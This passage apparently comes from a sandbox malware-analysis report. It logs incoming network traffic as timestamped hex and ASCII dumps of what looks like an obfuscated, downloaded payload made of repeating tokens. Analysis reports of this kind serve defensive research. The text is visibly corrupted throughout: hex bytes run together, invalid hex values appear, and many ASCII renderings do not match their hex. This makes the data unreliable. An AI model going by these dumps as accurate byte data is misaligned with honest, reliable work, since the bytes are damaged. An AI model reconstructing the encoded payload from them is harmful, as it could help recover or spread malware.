Data Ascii: k X RY x to x tE x RY x Qx x kO x RR x OxK x RY x to x kO x RY x Qx x kO x RR x Oxt x RY x Rt x RY x RY x
kQ x OXE x RR x YE x RY x Rt X RY x RY x Oxx x kO x RR x O00 x RY x tO x Oxt X RY x Qk x OXE x RR x OOx x RY x R
R x tt x RY x kY x O0OQ x RR x Oxk x R

2021-10-29 18:30:03 UTC 2821 IN Data Raw: 52 52 20 78 20 59 4b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 78 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
2052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 51 20 78 20 52 59 20 78 20 6b 4f 20 7
8 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 2
078205259 20 78 20 52 52 20 78 20 74 78 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 51
51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59
Data Ascii: RR X YK x RY x tO x KY x RY x Qx X RY X RY X RY x RY x RY x RY X RY x RY X RY X RY x RY X RY X RY x
RY X RY X RY X RY X RY x RY X RY X RR x RQ x RY x kO x kO x RR x Oxt x RY x tO x kO x RY x tE x RY x RR x tx x RY
x to x OXE x RY x QQ x RY x RR x OOY x RY

2021-10-29 18:30:03 UTC 2825 IN Data Raw: 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78
20 6b 4f 20 78 20 52 59 20 78 20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20
7820 74 45 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f
20782059 52 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20
74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 52 20 78 20 52 59 20 78
20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52
59 20 78 20 74 6f 20 78 20 6b 59 20 78 20 52 59 20 78 20
Data Ascii: RY x Qk x OXE x RR x OOk x RY x to X kO X RY X Qt X RY x RR x Oxk x RY x to X tE X RY X tE X RY X RR X
O0Y X RY xtO x YR X RY x Qx x O0Q x RR x OOx x RY x tO x kY x RY X Qx X RY X RY x OOR x RY X tO x Oxt X RY x
Qk x OXE x RY x OXE x RY x to x kY X RY x

2021-10-29 18:30:03 UTC 2829 IN Data Raw: 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 59 4f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 74
207820 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 74 51 20 78 20 52 59 20 78 20 74 78 20 78 20 6b
4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 74 20 78 20
59 6f 20 78 20 52 59 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 78 20 7
8207474207820 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 78
20 78 20 52 52 20 78 20 52 52 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 6b 20 78 20 52 59 20 78 20 74
4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20
Data Ascii: x Qk x OOQ X RR x YO x RY xto x tt X RY X tE x RY X RR x tQ X RY X tx x kO x RY X tE x RY X RY x Kk x RY
X RtXx Yo X RY x tt X RY X RY x OXE X RY x tx X tt x RY X KY X RY X RY x KQ x RY X tx X RR X RR x Rk X RY X RR x kk x
RY x tO x Oxt x RY x Qk x OXE

2021-10-29 18:30:03 UTC 2833 IN Data Raw: 51 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 51 20 78 20 59 6f 20 78
2052 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20
78205259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20 7820 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
5259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 52 59 20 78 20 52 51 20 78
20 74 74 20 78 20 52 59 20 78 20 6b 45 20 78 20 74 4b 20 78 20 4f 4f
Data Ascii: QQ x OXE x RY x OXE x RY x RQ x Yo x RY x kQ x kO x RR x OOR x RY x tO x kY x RY X RY x RY x RY x RY
X RY X RY X RY X RY X RY X RY x RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY x RY X RY
X RY xtR x RY x RQ x tt x RY x kE x tK x OO
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2021-10-29 18:30:03 UTC 2837

2021-10-29 18:30:03 UTC 2841

2021-10-29 18:30:03 UTC 2844

2021-10-29 18:30:03 UTC 2849

2021-10-29 18:30:03 UTC 2853

2021-10-29 18:30:03 UTC 2857

2021-10-29 18:30:03 UTC 2861

2021-10-29 18:30:03 UTC 2865

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 6b 59
2078 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 45 20 78 20 52 59 20 78 20
52 59 20 78 20 6b 4f 20 78 20 52 52 20 78 20 74 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78
2051 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52
59 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78
205259 20 78 20 4f 78 4f 20 78 20 6b 4f 20 78 20 52 52 20

Data Ascii: X RR x Oxk x RY x tO x kO x RY x kY x OXE x RR x KQ x RY x tO x Yo x RY X RY x RY x RR x OO0 x RY x
Rt x tE x RY X RY x kO x RR x tt x RY x tO x kY x RY x Qx x O0OQ x RR x OxK x RY x tO x O0OQ x RY x kO x O0Q x RR x
OOk x RY x to x RY x RY x OxO x kO x RR

Data Raw: 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 59 78 20 78 20 59 74 20 78 20 4f 6f 4f 20
78 20 6b 4f 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 78 52 20 78 20 51 74 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4b
6b 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 6b 20 78 20 4b 6b 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 74 4b 20 78
20 4f 78 6b 20 78 20 6b 78 20 78 20 6b 45 20 78 20 74 4b 20 78 20 6b 51 20 78 20 74 51 20 78 20 52 6b 20 78 20 6b 51
20 78 20 4f 78 59 20 78 20 74 45 20 78 20 74 6f 20 78 20 52 52 20 78 20 4b 51 20 78 20 6b 51 20 78 20 4f 78 51 20 78 20
4f 6f 78 20 78 20 4f 4f 6f 20 78 20 6b 51 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 4f 78 6b 20 78 20 4f 78 4f 20 78 20 6b
52 20 78 20 6b 6f 20 78 20 4f 4f 6b 20 78 20 51 74 20 78

Data Ascii: X Yx X kR x 000 x QQ x Yx x Yt x 000 x kO x kk x tK x OxR x Qt x tO x Oxk x Kk x Qx x kt x tk x Kk x Oxx x kk
X tK x Oxk x kx x kE x tK x kQ x tQ x Rk x kQ x OxY x tE x to x RR x KQ x kQ x OxQ x Oox x 000 x kQ x Kk x OOR x Oxk
X OxO x kR x ko x OOk x Qt x

Data Raw: 51 78 20 78 20 4f 78 51 20 78 20 6b 59 20 78 20 59 6f 20 78 20 74 52 20 78 20 6b 74 20 78 20 74 45 20 78 20
59 45 20 78 20 6b 51 20 78 20 6b 4b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 52 6b 20 78 20 4f 78 4b 20
7820 4f 78 51 20 78 20 51 78 20 78 20 52 6b 20 78 20 6b 59 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 6b 4b 20 78 20 52
5120 78 20 4b 51 20 78 20 6b 51 20 78 20 6b 4b 20 78 20 4f 78 6b 20 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 45 20
7820 74 45 20 78 20 4b 45 20 78 20 6b 78 20 78 20 52 74 20 78 20 59 74 20 78 20 4f 6f 6f 20 78 20 4f 78 78 20 78 20 6b
6b 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 4b 6b 20 78 20 51 78 20 78 20
6b 74 20 78 20 6b 6f 20 78 20 6b 78 20 78 20 6b 59 20 78

Data Ascii: Qx x OxQ x KY x Yo x tR x kt x tE x YE x kQ x kK x kY x OOR x tk x Rk x OxK x OxQ x Qx x Rk x kY x 00Q x
kQ x kK x RQ x KQ x kQ x kK x Oxk x OxK x Ox0 x kE x tE x KE x kx X Rt x Yt x 000 x Oxx X kk x RR x O0Q x Qk x YO x
tK x Kk x Qx x kt x ko x kx x KY x

Data Raw: 78 20 52 51 20 78 20 74 78 20 78 20 52 51 20 78 20 6b 6f 20 78 20 52 51 20 78 20 4f 78 6b 20 78 20 74 51 20
78 20 6b 6f 20 78 20 4b 51 20 78 20 52 52 20 78 20 52 52 20 78 20 6b 6f 20 78 20 52 51 20 78 20 6b 6f 20 78 20 74 4b 20
7820 6b 4b 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 51 20 78 20 6b 74 20 78 20 74 78 20 78 20 52 52 20 78 20
52 5220 78 20 6b 6f 20 78 20 52 51 20 78 20 6b 6f 20 78 20 74 4b 20 78 20 6b 4b 20 78 20 4f 78 74 20 78 20 4f 78 78 20
78 20 6b 4f 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 52 51 20 78 20 6b 45 20 78 20 6b 59 20 78 20 59 45 20
78 20 74 6f 20 78 20 6b 74 20 78 20 74 78 20 78 20 4f 78 4b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 6b 6f
20 7820 52 51 20 78 20 6b 45 20 78 20 6b 59 20 78 20 59 45

Data Ascii: x RQ x tx X RQ x ko x RQ x Oxk x tQ x ko x KQ x RR x RR x ko x RQ x ko x tK x kK x Oxt x Oxx x kQ x kt X tx x
RR x RR x ko x RQ x ko x tK x kK x Oxt x Oxx x kO x kO x kY x ko x RQ x kE x KY x YE x to x kt x tx x OxK x kO x kO x kY
x ko x RQ x kE x kY x YE

Data Raw: 59 20 78 20 4f 78 52 20 78 20 52 74 20 78 20 59 78 20 78 20 52 74 20 78 20 59 59 20 78 20 74 52 20 78 20 52
5220 78 20 4b 51 20 78 20 6b 6f 20 78 20 52 74 20 78 20 4f 78 52 20 78 20 74 4f 20 78 20 59 4f 20 78 20 4f 78 51 20 78
2074 6b 20 78 20 4f 78 51 20 78 20 4f 4f 51 20 78 20 4b 45 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 20 51 78 20 78 20 4b
51 20 78 20 74 52 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 52 52 20 78 20 6b 59 20 78 20 6b 51 20 78 20 74 6f 20 78
2051 51 20 78 20 4f 4f 6b 20 78 20 4b 6b 20 78 20 59 74 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 52 6b 20 78 20 4f
4f 6b 20 78 20 4f 78 78 20 78 20 4f 4f 74 20 78 20 59 4f 20 78 20 59 45 20 78 20 74 4b 20 78 20 4f 4f 4f 20 78 20 59 4b 20
78 20 6b 45 20 78 20 4f 4f 6f 20 78 20 4b 45 20 78 20

Data Ascii: Y X OXR X Rt X YX X Rt X YY x tR x RR x KQ x ko x Rt x OXR x tO x YO x OxQ x tk x OxQ x O0Q x KE x OO0 x
OxQ x Qx X KQ x tR x Oxk x tk x RR x kY x kQ x to x QQ x OOk x Kk x Yt x OxQ x OxY x Rk x OOk x Oxx x OOt x YO x
YE x tK x 000 x YK x kE x OO0 x KE x

Data Raw: 78 20 59 6f 20 78 20 74 4f 20 78 20 52 59 20 78 20 4b 51 20 78 20 6b 59 20 78 20 4f 78 78 20 78 20 52 51 20
78 20 6b 4f 20 78 20 6b 4f 20 78 20 6b 6b 20 78 20 74 74 20 78 20 52 52 20 78 20 6b 74 20 78 20 52 52 20 78 20 52 51
20 78 20 59 4f 20 78 20 74 6b 20 78 20 4b 51 20 78 20 51 51 20 78 20 74 6f 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 51
51 20 78 20 4f 4f 78 20 78 20 6b 6f 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 6f 4f 20
78205151 20 78 20 59 78 20 78 20 59 74 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 52 74 20 78 20 59 45 20 78 20 4f
4f 74 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 51 20 78
20 74 4b 20 78 20 74 59 20 78 20 4f 4f 4f 20 78 20 51 78

Data Ascii: X Yo x tO x RY x KQ X kY x Oxx X RQ x kO x kO x kk x tt x RR x kt x RR x RQ X YO x tk x KQ x QQ x to x RR x
OOk x QQ x OOx x ko x RY x Qk x OxQ x Oxk x 000 x QQ x Yx x Yt x OxQ x Oxx x Rt x YE x OOt x Qx x kk x kO x OOQ
x Rk x kO x kQ x tK x tY x OO0 x Qx

Data Raw: 20 4f 4f 6f 20 78 20 51 78 20 78 20 59 78 20 78 20 59 52 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 74 4f 20 78
20 4f 78 6b 20 78 20 4f 4f 52 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 51 78 20 78 20 52
6b 20 78 20 52 51 20 78 20 4f 78 74 20 78 20 74 74 20 78 20 52 74 20 78 20 74 45 20 78 20 74 4f 20 78 20 52 59 20 78
204b 51 20 78 20 6b 59 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 6f 78 20 78 20 74 74 20 78 20 51 6b 20 78 20 6b 59
20 7820 59 78 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 78 20
78 2051 6b 20 78 20 4f 6f 4f 20 78 20 52 52 20 78 20 6b 45 20 78 20 6b 59 20 78 20 4b 6b 20 78 20 52 51 20 78 20 4f 78
45 20 78 20 6b 4f 20 78 20 59 78 20 78 20 59 74 20 78 20 4f

Data Ascii: 000 x Qx X YX X YR x OXE x kK x tO x Oxk x OOR x Qt x kk x ko x Oxk x Qx x Rk x RQ x Oxt x tt x Rt X tE x t
O x RY x KQ x kY x RQ X RY x Oox x tt X Qk x KY x YX x kR x OXR x Oxx x tO x Oxk x OOx x Qk x 000 x RR x kE x kY X
Kk X RQ x OXE x kO x Yx x Yt x O

Data Raw: 52 6b 20 78 20 52 59 20 78 20 4b 74 20 78 20 52 52 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 4f 4f 4b 20

782052 52 20 78 20 4f 78 45 20 78 20 52 51 20 78 20 74 78 20 78 20 52 52 20 78 20 6b 4f 20 78 20 51 51 20 78 20 4f 4f
5120 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 6b 51 20 78 20 4f 6f 6f 20 78 20 51 74 20 78 20 74 6f 20 78 20 6b 6f 20 78 20
4b 6b 20 78 20 51 51 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 4f 6b 20 78 20 74 52 20 78 20 59 78 20 78 20 74 6b 20
78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 52 74 20 78 20 59 45 20 78 20 4b 51 20 78 20 51 51 20 78 20 59 78 20 78 20 6b
52 20 78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4b 51 20 78 20 51 51 20 78 20 59 4f 20 78

20 6b 4f 20 78 20 4f 4f 74 20 78 20 6b 51 20 78 20 59

Data Ascii: Rk X RY x Kt x RR x OXE x OXE x OOK x RR x OXE x RQ x tx X RR x kO x QQ x OOQ x RY x OO0 x kQ x Ooo
x Qt x to x ko x Kk x QQ x Rk x OO0 x OOk x tR x Yx x tk x 000 x Oxx x Rt x YE x KQ x QQ x Yx x kR x 000 x Oxx x to x
tK x KQ x QQ x YO x kO x OOt x kQ x Y
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:30:03 UTC 2876 IN Data Raw: 78 20 52 74 20 78 20 52 51 20 78 20 52 6b 20 78 20 4b 6b 20 78 20 51 74 20 78 20 74 6b 20 78 20 6b 6b 20
782074 45 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 6b 51 20 78 20 74 4b 20 78 20 4f 78 52 20 78 20 74 74 20 78 20 74
6b 20 78 20 52 59 20 78 20 6b 4b 20 78 20 51 51 20 78 20 6b 6b 20 78 20 59 4b 20 78 20 52 74 20 78 20 6b 4f 20 78 20
6b 4f 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 74 4b 20 78 20 74 59 20
78 20 4f 4f 4f 20 78 20 51 78 20 78 20 74 45 20 78 20 4f 78 4b 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 74 6b 20 78 20
52 59 20 78 20 6b 4f 20 78 20 52 51 20 78 20 74 74 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 4f 51 20 78
20 4f 78 6f 20 78 20 6b 4b 20 78 20 52 51 20 78 20 74 52 20 78
Data Ascii: x Rt x RQ x Rk x Kk x Qt x tk x kk x tE x O0Q x tx x kQ x tK x OxR x tt x tk x RY x kK x QQ x kk x YK x Rt x kO
x kO x OXE x O0Q x Rk x kO x kQ x tK x tY x OO0 x Qx x tE x OxK x OOk x QQ x tk x RY x kO x RQ x tt x RR x kO x RY
x O0Q x Ox0 x kK x RQ x tR x

2021-10-29 18:30:03 UTC 2881 IN Data Raw: 4f 4f 51 20 78 20 59 59 20 78 20 4f 6f 78 20 78 20 4f 6f 78 20 78 20 6b 51 20 78 20 6b 6f 20 78 20 4f 4f 4b 20
78 20 4b 45 20 78 20 6b 78 20 78 20 6b 74 20 78 20 4f 4f 59 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 51
7420782051 51 20 78 20 6b 74 20 78 20 74 51 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 4f 78 20 78 20 6b 4f 20 78 20
Af 4f 4b 20 78 20 4f 78 6f 20 78 20 4b 45 20 78 20 74 6f 20 78 20 4f 6f 6f 20 78 20 6b 78 20 78 20 4f 78 4b 20 78 20 4b 74
20 78 20 4f 4f 45 20 78 20 4f 4f 6b 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 59 59 20 78 20 6b 74 20 78 20 74 6f 20 78
20 59 6f 20 78 20 4f 6f 4f 20 78 20 74 45 20 78 20 4b 51 20 78 20 4f 4f 6f 20 78 20 59 78 20 78 20 4f 4f 4b 20 78 20 74 6f
20 78 20 4b 6b 20 78 20 6b 59 20 78 20 51 78
Data Ascii: OOQ x YY x Oox x Oox x kQ x ko x OOK x KE x kx x kt x OOY x kR x RR x OOx x Qt x QQ x kt x tQ x Yt x kk x
OOx x kO x OOK x Ox0 x KE x to x 000 x kx x OxK x Kt x OOE x OOk x OxQ x OXY x YY x kt x to X Yo x 000 x tE x KQ x
000 x Yx x OOK x to x Kk x kY x Qx

2021-10-29 18:30:03 UTC 2897 IN Data Raw: 4b 20 78 20 4f 4f 52 20 78 20 6b 52 20 78 20 74 51 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 6b 6b 20 78 20
6b 6b 20 78 20 4f 78 6f 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 52 74 20 78 20 4f 6f 4f 20
78 20 4b 6b 20 78 20 4f 78 6b 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 74 4f 20 78 20 4f 6f 4f 20 78 20 4f 4f 59 20 78 20
74 6b 20 78 20 4f 4f 59 20 78 20 4f 4f 45 20 78 20 4f 78 6f 20 78 20 6b 45 20 78 20 4f 4f 4f 20 78 20 74 78 20 78 20 59 74
20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 59 59 20 78 20 74 4b 20 78 20 4b 74 20 78 20 6b 6f 20 78 20 51 74 20 78 20 4f
Af 4f 20 78 20 74 52 20 78 20 4f 78 6b 20 78 20 74 4b 20 78 20 6b 74 20 78 20 51 78 20 78 20 52 59 20 78 20 4f 4f 6f 20
78 20 51 6b 20 78 20 74 4f 20 78 20 74 6f 20
Data Ascii: K x OOR x kR x tQ x RR x Oxt x kk x kk x Oxo x RY x YO x OO0 x 000 x Rt x 000 x Kk x Oxk x OxK x RR x
tO x 000 x OOY x tk x OOY x OOE x Oxo x kE x OO0 x tx x Yt x Qk x O0Q x YY x tK x Kt x ko x Qt x OO0 x tR x Oxk x
tK x kt x Qx x RY x OO0 x Qk x tO x to

2021-10-29 18:30:03 UTC 2908 IN Data Raw: 20 78 20 51 6b 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4f 4f 6f 20 78 20 4f 78 6b 20 78 20 4b 74 20 78 20 74
59 20 78 20 4f 4f 4f 20 78 20 74 74 20 78 20 4f 4f 4f 20 78 20 6b 52 20 78 20 74 59 20 78 20 74 6b 20 78 20 74 59 20 78
20 4b 45 20 78 20 52 6b 20 78 20 4f 78 59 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 51 78 20 78 20 4f
78 78 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 51 78 20 78 20 6b 6f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20
78205259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 4f 20 78 20 52 4f
207820 78 20 51 20 4b 52 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 4f 78 4f 20 78 20 78 20 4f 45 20 4f 6f 45 20 78 20
4b 6b 20 78 20 4f 6f 59 20 78 20 4f 6f 45 20 78 20 4b
Data Ascii: x Qk x tk x OOR x OO0 x Oxk x Kt x tY x OO0 x tt x OO0 x kR x tY x tk x tY x KE x Rk x OxY x Oox x Oxk x
QQ x Qx x Oxx X OOR x tk x Qx x ko x O0Q x RY x RY x RY X RY x RY X RY x RY X RY x RO x RO x x Q KR x OxO x
Oox x OXO x x OE OoE x Kk x OoY x OoE x K

2021-10-29 18:30:03 UTC 2924 IN Data Raw: 20 4f 4f 4b 20 78 20 45 74 20 78 20 4f 4f 78 20 78 20 45 74 20 78 20 4f 78 51 20 78 20 4f 4f 59 20 78 20 51 6b
20 78 20 4f 4f 51 20 78 20 4f 6f 78 20 78 20 45 74 20 78 20 4f 78 6f 20 78 20 45 74 20 78 20 4f 78 78 20 78 20 4f 4f 45 20
78 20 4f 4f 4b 20 78 20 4f 78 45 20 78 20 4f 4f 4b 20 78 20 45 74 20 78 20 4f 78 59 20 78 20 45 74 20 78 20 4f 78 59 20
78 20 4f 4f 6b 20 78 20 4f 78 74 20 78 20 4f 4f 45 20 78 20 4f 4f 6f 20 78 20 4f 4f 6b 20 78 20 45 74 20 78 20 4f 78 45 20
78 20 45 74 20 78 20 4f 78 4b 20 78 20 4f 4f 59 20 78 20 4f 78 6b 20 78 20 4f 78 59 20 78 20 4f 4f 59 20 78 20 4f 4f 6b 20
78 20 4f 78 74 20 78 20 4f 4f 52 20 78 20 4f 4f 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 6f 20 78 20 45 74 20 78 20 45 6f 20 78
20 45 74 20 78 20 51 51 20 78 20 4f 78 6f
Data Ascii: OOK x Et x OOx x Et x OXQ x OOY x Qk x OOQ x Oox x Et x Oxo x Et x Oxx x OOE x OOK x OXE x OOK x Et
X OXY X Et x OXY x OOk x Oxt x OOE x OO0 x OOk x Et x OXE x Et x OxK x OOY x Oxk x OXY x OOY x OOk x Oxt x
OOR x OOk x OO0 x Oxo x Et x Eo x Et x QQ x Oxo

2021-10-29 18:30:03 UTC 2940 IN Data Raw: 45 20 78 20 4f 4f 4f 20 78 20 4f 4f 6f 20 78 20 4f 6f 78 20 78 20 4f 4f 45 20 78 20 4f 4f 59 20 78 20 4f 78 45 20
78 20 4f 6f 78 20 78 20 4f 6f 6f 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 4f 78 45 20 78 20 45 74 20 78
20 4f 4f 52 20 78 20 45 74 20 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 4f 78 78 20 78 20
4f 4f 52 20 78 20 4f 4f 51 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 51 6b 20 78 20 4f 4f 6f 20 78 20 4f 4f 45 20 78 20 4f
4f 59 20 78 20 45 74 20 78 20 51 74 20 78 20 45 74 20 78 20 4f 4f 51 20 78 20 4f 4f 78 20 78 20 4f 6f 6f 20 78 20 4f 4f 6f 2
0 78 20 4f 78 52 20 78 20 4f 4f 74 20 78 20 51 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 4b 20 78 20 45 74 20 78 20 4f 4f 4b 20
78 20 45 74 20 78 20 4f 78 4f 20
Data Ascii: E x OO0 x 000 x Oox x OOE x OOY x OXE x Oox x 000 x Oox x Qt x OOR x OXE x Et x OOR x Et x Oxk x O
OY x QQ x OXE x Oxx x OOR x O0Q x OO0 x OxY x Qk x 000 x OOE x OQY x Et x Qt x Et x O0Q x OOx x Ooo x OO0
X OXR x OOt x Qk x OOk x OxK x Et x OOK x Et x OXO

2021-10-29 18:30:03 UTC 2956 IN Data Raw: 20 78 20 4b 6b 20 78 20 4f 6f 59 20 78 20 51 6f 20 78 20 4f 4f 52 20 78 20 4f 78 4f 20 78 20 4f 4f 59 20 78 20 4f
4f 52 20 78 20 4b 52 20 78 20 51 6b 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 45 4b 20 78 20 45 6f 20 78 20 4b 74 20 78
20 6b 74 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 4f 78 78 20 78 20 4f 4f 4f 20 78 20 4f 4f 51 20 78 20 6b 45 20 78 20
4f 4f 52 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 4f 78 4f 20 78 20 45 6f 20 78 20 45 4b 20 78 20 45 4b 20 78 20 4b 6b
20 78 20 45 4b 20 78 20 45 4b 20 78 20 45 6f 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20
Af Af 4 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20 4f 4f 52 20 78 20 4f 6f 4f 20 78 20 52 74 20 78 20 4f 78 6b 20 78 20 51
74 20 78 20 4f 4f 59 20 78 20 4f 4f 59 20
Data Ascii: x Kk x OoY x Qo x OOR x OxO x O0OY x OOR x KR x Qk x Qt x OOR x EK x Eo x Kt x kt x OXY x OOx x Oxx X
000 x O0Q x KE x OOR x Qt x OOR x OxO x Eo x EK x EK x Kk x EK x EK x Eo x Kt x kx x OOK x OxY x OO0 x OOK x
OxY x OOR x 000 x Rt x Oxk x Qt x OQY x OOY

2021-10-29 18:30:03 UTC 2972 IN Data Raw: 20 78 20 6b 6f 20 78 20 59 4f 20 78 20 59 78 20 78 20 4b 52 20 78 20 52 51 20 78 20 6b 6b 20 78 20 52 51 20
78 20 45 4b 20 78 20 4b 4b 20 78 20 45 6f 20 78 20 45 4b 20 78 20 6b 78 20 78 20 4f 4f 4b 20 78 20 4f 4f 4f 20 78 20 4f
